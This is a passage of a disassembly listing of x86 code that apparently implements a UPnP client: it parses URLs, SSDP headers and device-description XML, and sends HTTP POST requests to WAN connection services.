		push	[ebp+s]		; s


loc_9B531A:				; CODE XREF: sub_9B5139+116j
		call	sub_9B5CF9
		mov	ebx, eax
		add	esp, 10h
		test	ebx, ebx
		jg	loc_9B5254
		mov	eax, [ebp+arg_C]
		mov	ebx, [ebp+s]
		mov	[eax], edi
		mov	edi, [ebp+Memory]


loc_9B5337:				; CODE XREF: sub_9B5139+85j
		push	ebx		; s
		call	closesocket
		mov	eax, edi
		pop	esi


loc_9B5341:				; CODE XREF: sub_9B5139+5Bj
		pop	ebx


loc_9B5342:				; CODE XREF: sub_9B5139+20j
		pop	edi
		leave
		retn
sub_9B5139	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B5345(char *Str,void	*Dest,int,int)

sub_9B5345	proc near		; CODE XREF: sub_9B5440+27p
					; sub_9B5E93+120p

Str		= dword	ptr  8
Dest		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+Str]
		push	edi
		push	offset asc_9A6B10 ; "://"
		push	esi		; Str
		call	strstr
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		pop	ecx
		jz	loc_9B5439
		add	ebx, 3
		cmp	byte ptr [esi],	68h
		jnz	loc_9B5439
		cmp	byte ptr [esi+1], 74h
		jnz	loc_9B5439
		cmp	byte ptr [esi+2], 74h
		jnz	loc_9B5439
		cmp	byte ptr [esi+3], 70h
		jnz	loc_9B5439
		mov	edi, strchr
		push	3Ah		; Val
		push	ebx		; Str
		call	edi ; strchr
		push	2Fh		; Val
		push	ebx		; Str
		mov	esi, eax
		call	edi ; strchr
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_9B5439
		push	41h		; Size
		push	0		; Val
		push	[ebp+Dest]	; Dst
		call	memset
		add	esp, 0Ch
		test	esi, esi
		jz	short loc_9B540D
		cmp	esi, edi
		ja	short loc_9B540D
		mov	eax, esi
		sub	eax, ebx
		cmp	eax, 40h
		jle	short loc_9B53D2
		push	40h
		pop	eax


loc_9B53D2:				; CODE XREF: sub_9B5345+88j
		push	eax		; Count
		push	ebx		; Source
		push	[ebp+Dest]	; Dest
		call	strncpy
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		and	word ptr [ecx],	0
		jmp	short loc_9B5404
; ---------------------------------------------------------------------------


loc_9B53E9:				; CODE XREF: sub_9B5345+C4j
		cmp	al, 39h
		jg	short loc_9B542F
		xor	eax, eax
		mov	ax, [ecx]
		imul	ax, 0Ah
		mov	[ecx], ax
		movsx	dx, byte ptr [esi]
		lea	eax, [edx+eax-30h]
		mov	[ecx], ax


loc_9B5404:				; CODE XREF: sub_9B5345+A2j
		inc	esi
		mov	al, [esi]
		cmp	al, 30h
		jge	short loc_9B53E9
		jmp	short loc_9B542F
; ---------------------------------------------------------------------------


loc_9B540D:				; CODE XREF: sub_9B5345+7Bj
					; sub_9B5345+7Fj
		mov	eax, edi
		sub	eax, ebx
		cmp	eax, 40h
		jle	short loc_9B5419
		push	40h
		pop	eax


loc_9B5419:				; CODE XREF: sub_9B5345+CFj
		push	eax		; Count
		push	ebx		; Source
		push	[ebp+Dest]	; Dest
		call	strncpy
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		mov	word ptr [eax],	50h


loc_9B542F:				; CODE XREF: sub_9B5345+A6j
					; sub_9B5345+C6j
		mov	eax, [ebp+arg_C]
		mov	[eax], edi
		xor	eax, eax
		inc	eax
		jmp	short loc_9B543B
; ---------------------------------------------------------------------------


loc_9B5439:				; CODE XREF: sub_9B5345+1Bj
					; sub_9B5345+27j ...
		xor	eax, eax


loc_9B543B:				; CODE XREF: sub_9B5345+F2j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_9B5345	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B5440(char *Str,int,int netshort,size_t Count)

sub_9B5440	proc near		; CODE XREF: sub_9B5DA4+32p

Dest		= byte ptr -44h
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch
netshort	= dword	ptr  10h
Count		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		push	esi
		mov	esi, [ebp+netshort]
		push	edi
		mov	edi, [ebp+arg_4]
		and	dword ptr [edi], 0
		test	esi, esi
		jz	short loc_9B5458
		mov	byte ptr [esi],	0


loc_9B5458:				; CODE XREF: sub_9B5440+13j
		lea	eax, [ebp+arg_4]
		push	eax		; int
		lea	eax, [ebp+netshort]
		push	eax		; int
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		push	[ebp+Str]	; Str
		call	sub_9B5345
		add	esp, 10h
		test	eax, eax
		jz	short loc_9B548A
		push	[ebp+Count]	; Count
		lea	eax, [ebp+Dest]
		push	esi		; Dest
		push	edi		; int
		push	[ebp+arg_4]	; int
		push	[ebp+netshort]	; netshort
		push	eax		; name
		call	sub_9B5139
		add	esp, 18h


loc_9B548A:				; CODE XREF: sub_9B5440+31j
		pop	edi
		pop	esi
		leave
		retn
sub_9B5440	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B548E	proc near		; CODE XREF: sub_9B55E8+97p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		jmp	loc_9B55D0
; ---------------------------------------------------------------------------


loc_9B549E:				; CODE XREF: sub_9B548E+148j
		mov	ecx, [esi+8]
		mov	al, [ecx]
		cmp	al, 2Fh
		jz	loc_9B55E1
		cmp	al, 3Eh
		jz	loc_9B55E1
		mov	bl, 20h
		cmp	al, bl
		jz	loc_9B55CD
		cmp	al, 9
		jz	loc_9B55CD
		cmp	al, 0Dh
		jz	loc_9B55CD
		cmp	al, 0Ah
		jz	loc_9B55CD
		and	[ebp+arg_0], 0
		mov	dl, 3Dh
		cmp	al, dl
		mov	[ebp+var_8], ecx
		jz	short loc_9B550A


loc_9B54E2:				; CODE XREF: sub_9B548E+7Aj
		mov	eax, [esi+8]
		mov	cl, [eax]
		cmp	cl, bl
		jz	short loc_9B550A
		cmp	cl, 9
		jz	short loc_9B550A
		cmp	cl, 0Dh
		jz	short loc_9B550A
		cmp	cl, 0Ah
		jz	short loc_9B550A
		inc	[ebp+arg_0]
		inc	eax
		cmp	eax, [esi+4]
		mov	[esi+8], eax
		jnb	short loc_9B5547
		cmp	[eax], dl
		jnz	short loc_9B54E2


loc_9B550A:				; CODE XREF: sub_9B548E+52j
					; sub_9B548E+5Bj ...
		mov	eax, [esi+8]
		cmp	[eax], dl
		jz	short loc_9B5523
		mov	eax, [esi+4]


loc_9B5514:				; CODE XREF: sub_9B548E+93j
		inc	dword ptr [esi+8]
		cmp	[esi+8], eax
		jnb	short loc_9B5547
		mov	ecx, [esi+8]
		cmp	[ecx], dl
		jnz	short loc_9B5514


loc_9B5523:				; CODE XREF: sub_9B548E+81j
		inc	dword ptr [esi+8]
		mov	eax, [esi+8]


loc_9B5529:				; CODE XREF: sub_9B548E+B7j
		mov	cl, [eax]
		cmp	cl, bl
		jz	short loc_9B553E
		cmp	cl, 9
		jz	short loc_9B553E
		cmp	cl, 0Dh
		jz	short loc_9B553E
		cmp	cl, 0Ah
		jnz	short loc_9B554F


loc_9B553E:				; CODE XREF: sub_9B548E+9Fj
					; sub_9B548E+A4j ...
		inc	eax
		cmp	eax, [esi+4]
		mov	[esi+8], eax
		jb	short loc_9B5529


loc_9B5547:				; CODE XREF: sub_9B548E+76j
					; sub_9B548E+8Cj ...
		or	eax, 0FFFFFFFFh


loc_9B554A:				; CODE XREF: sub_9B548E+155j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_9B554F:				; CODE XREF: sub_9B548E+AEj
		mov	cl, [eax]
		cmp	cl, 27h
		jz	short loc_9B5591
		cmp	cl, 22h
		jz	short loc_9B5591
		xor	edi, edi
		cmp	cl, bl
		mov	[ebp+var_4], eax
		jz	short loc_9B55B4


loc_9B5564:				; CODE XREF: sub_9B548E+FFj
		mov	cl, [eax]
		cmp	cl, 9
		jz	short loc_9B55B4
		cmp	cl, 0Dh
		jz	short loc_9B55B4
		cmp	cl, 0Ah
		jz	short loc_9B55B4
		cmp	cl, 3Eh
		jz	short loc_9B55B4
		cmp	cl, 2Fh
		jz	short loc_9B55B4
		inc	edi
		inc	eax
		cmp	eax, [esi+4]
		mov	[esi+8], eax
		jnb	short loc_9B5547
		mov	ecx, eax
		cmp	[ecx], bl
		jnz	short loc_9B5564
		jmp	short loc_9B55B4
; ---------------------------------------------------------------------------


loc_9B5591:				; CODE XREF: sub_9B548E+C6j
					; sub_9B548E+CBj
		mov	edx, [esi+4]
		inc	eax
		cmp	eax, edx
		mov	[esi+8], eax
		jnb	short loc_9B5547
		xor	edi, edi
		cmp	[eax], cl
		mov	[ebp+var_4], eax
		jz	short loc_9B55B4


loc_9B55A5:				; CODE XREF: sub_9B548E+124j
		inc	edi
		inc	eax
		cmp	eax, edx
		mov	[esi+8], eax
		jnb	short loc_9B5547
		mov	ebx, eax
		cmp	[ebx], cl
		jnz	short loc_9B55A5


loc_9B55B4:				; CODE XREF: sub_9B548E+D4j
					; sub_9B548E+DBj ...
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_9B55CD
		push	edi
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	dword ptr [esi+10h]
		call	eax
		add	esp, 14h


loc_9B55CD:				; CODE XREF: sub_9B548E+29j
					; sub_9B548E+31j ...
		inc	dword ptr [esi+8]


loc_9B55D0:				; CODE XREF: sub_9B548E+Bj
		mov	eax, [esi+8]
		cmp	eax, [esi+4]
		jb	loc_9B549E
		jmp	loc_9B5547
; ---------------------------------------------------------------------------


loc_9B55E1:				; CODE XREF: sub_9B548E+17j
					; sub_9B548E+1Fj
		xor	eax, eax
		jmp	loc_9B554A
sub_9B548E	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B55E8	proc near		; CODE XREF: sub_9B5746+12p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+4]
		dec	eax
		cmp	[esi+8], eax
		jnb	loc_9B5744
		push	ebx
		push	edi


loc_9B55FC:				; CODE XREF: sub_9B55E8+154j
		mov	ecx, [esi+8]
		cmp	byte ptr [ecx],	3Ch
		jnz	loc_9B5731
		lea	eax, [ecx+1]
		cmp	byte ptr [eax],	3Fh
		jz	loc_9B5731
		xor	edx, edx
		mov	[esi+8], eax
		cmp	byte ptr [eax],	20h
		mov	edi, eax
		jz	loc_9B56EF


loc_9B5624:				; CODE XREF: sub_9B55E8+7Bj
		mov	eax, [esi+8]
		mov	cl, [eax]
		cmp	cl, 9
		jz	short loc_9B5665
		cmp	cl, 0Dh
		jz	short loc_9B5665
		cmp	cl, 0Ah
		jz	short loc_9B5665
		cmp	cl, 3Eh
		jz	short loc_9B5665
		cmp	cl, 2Fh
		jz	short loc_9B5665
		inc	edx
		inc	eax
		cmp	eax, [esi+4]
		mov	[esi+8], eax
		jnb	loc_9B5742
		cmp	byte ptr [eax],	3Ah
		jnz	short loc_9B565D
		xor	edx, edx
		inc	eax
		mov	[esi+8], eax
		mov	edi, eax


loc_9B565D:				; CODE XREF: sub_9B55E8+6Bj
		mov	eax, [esi+8]
		cmp	byte ptr [eax],	20h
		jnz	short loc_9B5624


loc_9B5665:				; CODE XREF: sub_9B55E8+44j
					; sub_9B55E8+49j ...
		test	edx, edx
		jle	loc_9B56EF
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_9B567E
		push	edx
		push	edi
		push	dword ptr [esi+10h]
		call	eax
		add	esp, 0Ch


loc_9B567E:				; CODE XREF: sub_9B55E8+8Aj
		push	esi
		call	sub_9B548E
		test	eax, eax
		pop	ecx
		jnz	loc_9B5742
		mov	eax, [esi+8]
		cmp	byte ptr [eax],	2Fh
		jz	loc_9B5735
		mov	ecx, [esi+4]
		xor	edi, edi
		inc	eax
		mov	ebx, eax
		jmp	short loc_9B56BA
; ---------------------------------------------------------------------------


loc_9B56A3:				; CODE XREF: sub_9B55E8+D7j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_9B56B9
		cmp	dl, 9
		jz	short loc_9B56B9
		cmp	dl, 0Dh
		jz	short loc_9B56B9
		cmp	dl, 0Ah
		jnz	short loc_9B56C3


loc_9B56B9:				; CODE XREF: sub_9B55E8+C0j
					; sub_9B55E8+C5j ...
		inc	eax


loc_9B56BA:				; CODE XREF: sub_9B55E8+B9j
		cmp	eax, ecx
		mov	[esi+8], eax
		jb	short loc_9B56A3
		jmp	short loc_9B5742
; ---------------------------------------------------------------------------


loc_9B56C3:				; CODE XREF: sub_9B55E8+CFj
		cmp	byte ptr [eax],	3Ch
		jz	short loc_9B5735


loc_9B56C8:				; CODE XREF: sub_9B55E8+EEj
		inc	edi
		inc	eax
		cmp	eax, ecx
		mov	[esi+8], eax
		jnb	short loc_9B5742
		mov	edx, eax
		cmp	byte ptr [edx],	3Ch
		jnz	short loc_9B56C8
		test	edi, edi
		jle	short loc_9B5735
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_9B5735
		push	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	eax
		add	esp, 0Ch
		jmp	short loc_9B5735
; ---------------------------------------------------------------------------


loc_9B56EF:				; CODE XREF: sub_9B55E8+36j
					; sub_9B55E8+7Fj
		mov	eax, [esi+8]
		cmp	byte ptr [eax],	2Fh
		jnz	short loc_9B5735
		mov	ecx, [esi+4]
		xor	edx, edx
		inc	eax
		cmp	eax, ecx
		mov	[esi+8], eax
		mov	edi, eax
		jnb	short loc_9B5742
		cmp	byte ptr [eax],	3Eh
		jz	short loc_9B571B


loc_9B570B:				; CODE XREF: sub_9B55E8+131j
		inc	edx
		inc	eax
		cmp	eax, ecx
		mov	[esi+8], eax
		jnb	short loc_9B5742
		mov	ebx, eax
		cmp	byte ptr [ebx],	3Eh
		jnz	short loc_9B570B


loc_9B571B:				; CODE XREF: sub_9B55E8+121j
		mov	eax, [esi+18h]
		test	eax, eax
		jz	short loc_9B572C
		push	edx
		push	edi
		push	dword ptr [esi+10h]
		call	eax
		add	esp, 0Ch


loc_9B572C:				; CODE XREF: sub_9B55E8+138j
		inc	dword ptr [esi+8]
		jmp	short loc_9B5735
; ---------------------------------------------------------------------------


loc_9B5731:				; CODE XREF: sub_9B55E8+1Aj
					; sub_9B55E8+26j
		inc	ecx
		mov	[esi+8], ecx


loc_9B5735:				; CODE XREF: sub_9B55E8+ABj
					; sub_9B55E8+DEj ...
		mov	eax, [esi+4]
		dec	eax
		cmp	[esi+8], eax
		jb	loc_9B55FC


loc_9B5742:				; CODE XREF: sub_9B55E8+62j
					; sub_9B55E8+9Fj ...
		pop	edi
		pop	ebx


loc_9B5744:				; CODE XREF: sub_9B55E8+Cj
		pop	esi
		retn
sub_9B55E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B5746	proc near		; CODE XREF: sub_9B5A22+35p
					; sub_9B63B6+34p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, [eax]
		mov	edx, [eax+0Ch]
		add	edx, ecx
		push	eax
		mov	[eax+8], ecx
		mov	[eax+4], edx
		call	sub_9B55E8
		pop	ecx
		retn
sub_9B5746	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9B575F(void *Dst,void	*Buf1,size_t Size)

sub_9B575F	proc near		; DATA XREF: sub_9B5A22+20o

Dst		= dword	ptr  4
Buf1		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+Dst]
		push	edi
		mov	edi, [esp+0Ch+Size]
		push	edi		; Size
		push	[esp+10h+Buf1]	; Src
		push	esi		; Dst
		call	memcpy
		xor	bl, bl
		add	esp, 0Ch
		mov	[esi+edi], bl
		inc	dword ptr [esi+100h]
		cmp	edi, 7
		jnz	short loc_9B57B6
		push	edi		; Size
		push	offset aService	; "service"
		push	[esp+14h+Buf1]	; Buf1
		call	memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_9B57B6
		mov	[esi+504h], bl
		mov	[esi+584h], bl
		mov	[esi+604h], bl
		mov	[esi+684h], bl


loc_9B57B6:				; CODE XREF: sub_9B575F+27j
					; sub_9B575F+3Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_9B575F	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9B57BA(int,void *Buf1,int)

sub_9B57BA	proc near		; DATA XREF: sub_9B5A22+27o

arg_0		= dword	ptr  4
Buf1		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		dec	dword ptr [esi+100h]
		cmp	[esp+4+arg_8], 7
		jnz	loc_9B58C3
		push	7		; Size
		push	offset aService	; "service"
		push	[esp+0Ch+Buf1]	; Buf1
		call	memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_9B58C3
		push	ebx
		push	edi
		lea	ebx, [esi+684h]
		push	offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANCommonI"...
		push	ebx		; Str1
		call	strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9B584D
		mov	edi, 80h
		push	edi		; Size
		lea	eax, [esi+504h]
		push	eax		; Src
		lea	eax, [esi+104h]
		push	eax		; Dst
		call	memcpy
		push	edi		; Size
		lea	eax, [esi+584h]
		push	eax		; Src
		lea	eax, [esi+184h]
		push	eax		; Dst
		call	memcpy
		push	edi		; Size
		lea	eax, [esi+604h]
		push	eax		; Src
		lea	eax, [esi+204h]
		push	eax		; Dst
		call	memcpy
		add	esi, 284h
		jmp	short loc_9B58B6
; ---------------------------------------------------------------------------


loc_9B584D:				; CODE XREF: sub_9B57BA+48j
		push	offset aUrnSchemasUp_1 ; "urn:schemas-upnp-org:service:WANIPConne"...
		push	ebx		; Str1
		call	strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9B586F
		push	offset aUrnSchemasUp_2 ; "urn:schemas-upnp-org:service:WANPPPConn"...
		push	ebx		; Str1
		call	strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9B58C1


loc_9B586F:				; CODE XREF: sub_9B57BA+A2j
		mov	edi, 80h
		push	edi		; Size
		lea	eax, [esi+504h]
		push	eax		; Src
		lea	eax, [esi+304h]
		push	eax		; Dst
		call	memcpy
		push	edi		; Size
		lea	eax, [esi+584h]
		push	eax		; Src
		lea	eax, [esi+384h]
		push	eax		; Dst
		call	memcpy
		push	edi		; Size
		lea	eax, [esi+604h]
		push	eax		; Src
		lea	eax, [esi+404h]
		push	eax		; Dst
		call	memcpy
		add	esi, 484h


loc_9B58B6:				; CODE XREF: sub_9B57BA+91j
		push	edi		; Size
		push	ebx		; Src
		push	esi		; Dst
		call	memcpy
		add	esp, 30h


loc_9B58C1:				; CODE XREF: sub_9B57BA+B3j
		pop	edi
		pop	ebx


loc_9B58C3:				; CODE XREF: sub_9B57BA+10j
					; sub_9B57BA+2Bj
		pop	esi
		retn
sub_9B57BA	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9B58C5(char *Str1,void *Src,size_t Size)

sub_9B58C5	proc near		; DATA XREF: sub_9B5A22+2Eo

Str1		= dword	ptr  4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+Str1]
		push	offset aUrlbase	; "URLBase"
		push	esi		; Str1
		call	strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9B58E3
		add	esi, 80h
		jmp	short loc_9B5945
; ---------------------------------------------------------------------------


loc_9B58E3:				; CODE XREF: sub_9B58C5+14j
		push	offset aServicetype ; "serviceType"
		push	esi		; Str1
		call	strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9B58FC
		add	esi, 684h
		jmp	short loc_9B5945
; ---------------------------------------------------------------------------


loc_9B58FC:				; CODE XREF: sub_9B58C5+2Dj
		push	offset aControlurl ; "controlURL"
		push	esi		; Str1
		call	strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9B5915
		add	esi, 504h
		jmp	short loc_9B5945
; ---------------------------------------------------------------------------


loc_9B5915:				; CODE XREF: sub_9B58C5+46j
		push	offset aEventsuburl ; "eventSubURL"
		push	esi		; Str1
		call	strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9B592E
		add	esi, 584h
		jmp	short loc_9B5945
; ---------------------------------------------------------------------------


loc_9B592E:				; CODE XREF: sub_9B58C5+5Fj
		push	offset aScpdurl	; "SCPDURL"
		push	esi		; Str1
		call	strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9B596C
		add	esi, 604h


loc_9B5945:				; CODE XREF: sub_9B58C5+1Cj
					; sub_9B58C5+35j ...
		test	esi, esi
		jz	short loc_9B596C
		push	edi
		mov	edi, [esp+8+Size]
		cmp	edi, 80h
		jl	short loc_9B5959
		push	7Fh
		pop	edi


loc_9B5959:				; CODE XREF: sub_9B58C5+8Fj
		push	edi		; Size
		push	[esp+0Ch+Src]	; Src
		push	esi		; Dst
		call	memcpy
		add	esp, 0Ch
		mov	byte ptr [esi+edi], 0
		pop	edi


loc_9B596C:				; CODE XREF: sub_9B58C5+78j
					; sub_9B58C5+82j
		pop	esi
		retn
sub_9B58C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B596E(SOCKET	s,int,int,int len,int,char *Str)

sub_9B596E	proc near		; CODE XREF: sub_9B5E93+1A9p

Src		= byte ptr -208h
Dest		= byte ptr -8
s		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
len		= dword	ptr  14h
arg_10		= dword	ptr  18h
Str		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		push	ebx
		push	esi
		push	edi
		push	[ebp+Str]	; Str
		call	strlen
		cmp	word ptr [ebp+len], 50h
		mov	esi, _snprintf
		pop	ecx
		mov	ebx, eax
		mov	[ebp+Dest], 0
		jz	short loc_9B59AB
		movzx	eax, word ptr [ebp+len]
		push	eax
		push	offset aHu	; ":%hu"
		lea	eax, [ebp+Dest]
		push	8		; Count
		push	eax		; Dest
		call	esi ; _snprintf
		add	esp, 10h


loc_9B59AB:				; CODE XREF: sub_9B596E+26j
		push	[ebp+arg_10]
		lea	eax, [ebp+Dest]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+Src]
		push	[ebp+arg_4]
		push	offset aPostSHttp1_1Ho ; "POST %s HTTP/1.1\r\nHost: %s%s\r\nUser-Agen"...
		push	200h		; Count
		push	eax		; Dest
		call	esi ; _snprintf
		mov	edi, eax
		lea	eax, [edi+ebx]
		push	eax		; Size
		mov	[ebp+len], eax
		call	malloc
		mov	esi, eax
		add	esp, 24h
		test	esi, esi
		jz	short loc_9B5A1D
		push	edi		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		push	esi		; Dst
		call	memcpy
		push	ebx		; Size
		push	[ebp+Str]	; Src
		lea	eax, [esi+edi]
		push	eax		; Dst
		call	memcpy
		add	esp, 18h
		push	0		; flags
		push	[ebp+len]	; len
		push	esi		; buf
		push	[ebp+s]		; s
		call	send
		push	esi		; Memory
		mov	edi, eax
		call	free
		pop	ecx
		mov	eax, edi


loc_9B5A1D:				; CODE XREF: sub_9B596E+74j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9B596E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B5A22	proc near		; CODE XREF: sub_9B5DA4+65p

var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	[ebp+var_24], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_24]
		push	eax
		mov	[ebp+var_10], offset sub_9B575F
		mov	[ebp+var_C], offset sub_9B57BA
		mov	[ebp+var_8], offset sub_9B58C5
		call	sub_9B5746
		pop	ecx
		leave
		retn
sub_9B5A22	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B5A5F	proc near		; CODE XREF: sub_9B5E93+219p
		push	ebx
		push	esi
		push	edi
		mov	edi, eax
		mov	esi, offset aContentLength ; "content-length"
		xor	eax, eax


loc_9B5A6B:				; CODE XREF: sub_9B5A5F+2Bj
		test	edi, edi
		jz	short loc_9B5A95
		mov	dl, [esi]
		mov	bl, [ecx]
		cmp	dl, bl
		jz	short loc_9B5A84
		movsx	ebx, bl
		movsx	edx, dl
		add	ebx, 20h
		cmp	edx, ebx
		jnz	short loc_9B5A95


loc_9B5A84:				; CODE XREF: sub_9B5A5F+16j
		inc	ecx
		inc	esi
		dec	edi
		cmp	byte ptr [esi],	0
		jnz	short loc_9B5A6B
		test	edi, edi
		jz	short loc_9B5A95
		cmp	byte ptr [ecx],	3Ah
		jz	short loc_9B5AA0


loc_9B5A95:				; CODE XREF: sub_9B5A5F+Ej
					; sub_9B5A5F+23j ...
		or	eax, 0FFFFFFFFh


loc_9B5A98:				; CODE XREF: sub_9B5A5F+4Dj
					; sub_9B5A5F+66j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_9B5A9C:				; CODE XREF: sub_9B5A5F+46j
		test	edi, edi
		jz	short loc_9B5A95


loc_9B5AA0:				; CODE XREF: sub_9B5A5F+34j
		inc	ecx
		dec	edi
		cmp	byte ptr [ecx],	20h
		jz	short loc_9B5A9C
		jmp	short loc_9B5ABE
; ---------------------------------------------------------------------------


loc_9B5AA9:				; CODE XREF: sub_9B5A5F+64j
		cmp	dl, 39h
		jg	short loc_9B5A98
		test	edi, edi
		jz	short loc_9B5A95
		movsx	edx, dl
		lea	eax, [eax+eax*4]
		inc	ecx
		lea	eax, [edx+eax*2-30h]
		dec	edi


loc_9B5ABE:				; CODE XREF: sub_9B5A5F+48j
		mov	dl, [ecx]
		cmp	dl, 30h
		jge	short loc_9B5AA9
		jmp	short loc_9B5A98
sub_9B5A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B5AC7	proc near		; CODE XREF: sub_9B611D+19Cp

var_8		= dword	ptr -8
Buf1		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		xor	edx, edx
		cmp	[ebp+arg_0], edi
		jle	loc_9B5B69


loc_9B5ADD:				; CODE XREF: sub_9B5AC7+9Cj
		lea	eax, [esi+1]
		mov	cl, [ebx+eax-1]
		cmp	cl, 0Ah
		mov	[ebp+var_8], eax
		jz	short loc_9B5AFE
		cmp	cl, 0Dh
		jz	short loc_9B5AFE
		cmp	cl, 3Ah
		jnz	short loc_9B5B5E
		test	edi, edi
		jnz	short loc_9B5B5E
		mov	edi, esi
		jmp	short loc_9B5B5E
; ---------------------------------------------------------------------------


loc_9B5AFE:				; CODE XREF: sub_9B5AC7+23j
					; sub_9B5AC7+28j
		test	edi, edi
		jz	short loc_9B5B5C


loc_9B5B02:				; CODE XREF: sub_9B5AC7+40j
		inc	edi
		cmp	byte ptr [edi+ebx], 20h
		jz	short loc_9B5B02
		push	8		; Size
		lea	eax, [edx+ebx]
		push	offset aLocation ; "location"
		push	eax		; Buf1
		mov	[ebp+Buf1], eax
		call	_memicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_9B5B31
		mov	ecx, [ebp+arg_4]
		lea	eax, [edi+ebx]
		mov	[ecx], eax
		mov	eax, [ebp+arg_8]
		jmp	short loc_9B5B53
; ---------------------------------------------------------------------------


loc_9B5B31:				; CODE XREF: sub_9B5AC7+5Bj
		push	2		; Size
		push	offset aSt	; "st"
		push	[ebp+Buf1]	; Buf1
		call	_memicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_9B5B57
		mov	ecx, [ebp+arg_C]
		lea	eax, [edi+ebx]
		mov	[ecx], eax
		mov	eax, [ebp+arg_10]


loc_9B5B53:				; CODE XREF: sub_9B5AC7+68j
		sub	esi, edi
		mov	[eax], esi


loc_9B5B57:				; CODE XREF: sub_9B5AC7+7Fj
		mov	eax, [ebp+var_8]
		xor	edi, edi


loc_9B5B5C:				; CODE XREF: sub_9B5AC7+39j
		mov	edx, eax


loc_9B5B5E:				; CODE XREF: sub_9B5AC7+2Dj
					; sub_9B5AC7+31j ...
		mov	esi, eax
		cmp	esi, [ebp+arg_0]
		jl	loc_9B5ADD


loc_9B5B69:				; CODE XREF: sub_9B5AC7+10j
		pop	edi
		pop	esi
		leave
		retn
sub_9B5AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B5B6D	proc near		; CODE XREF: sub_9B5BC5+E0p
					; sub_9B5BC5+EDp ...
		cmp	byte ptr [esi],	68h
		push	edi
		mov	edi, eax
		jnz	short loc_9B5B9E
